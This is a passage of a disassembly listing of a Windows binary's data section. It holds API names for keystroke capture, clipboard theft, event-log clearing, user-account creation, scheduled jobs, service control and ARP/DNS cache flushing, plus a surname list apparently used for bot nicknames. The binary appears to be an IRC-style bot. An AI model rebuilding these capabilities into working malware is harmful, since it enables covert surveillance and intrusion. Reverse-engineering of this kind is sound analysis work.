DATA XREF: sub_409B12+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo ; sub_4185A4+65o align 10h aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o ; sub_4185A4+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o align 10h aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo align 10h aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o align 10h aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo align 10h aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409B12+631o align 10h aBind db 'bind',0 ; DATA XREF: sub_409B12+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo align 10h aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o align 10h a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o align 10h aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao align 10h aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o align 10h aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo align 10h aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o ; sub_424D78+Do align 10h aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo align 10h aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao align 10h unk_42D330 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 10h aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o align 4 a_: ; DATA XREF: sub_40F96A+252o unicode 0, <.>,0 unk_42D4C0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 10h unk_42D4F0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 10h unk_42D520 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D544 db 2Dh ; - ; DATA XREF: sub_40AB31+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o ; sub_40BFEB+38o align 10h aReal db 'real',0 align 4 dd 0 dword_42D58C dd 0 ; DATA XREF: sub_40B08D+7o off_42D590 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r aConst db 'const',0 align 10h dd 1, 40AD22h, 7474656Ch, 7265h, 0 dd 2, 40AD80h, 706D6F63h, 2 dup(0) dd 3, 40ADCDh, 6E756F63h, 797274h, 0 dd 4, 40AE6Bh, 736Fh, 2 dup(0) dd 5, 40AEE0h off_42D5F8 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D604 dd offset aAddison ; DATA XREF: sub_40B08D+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; 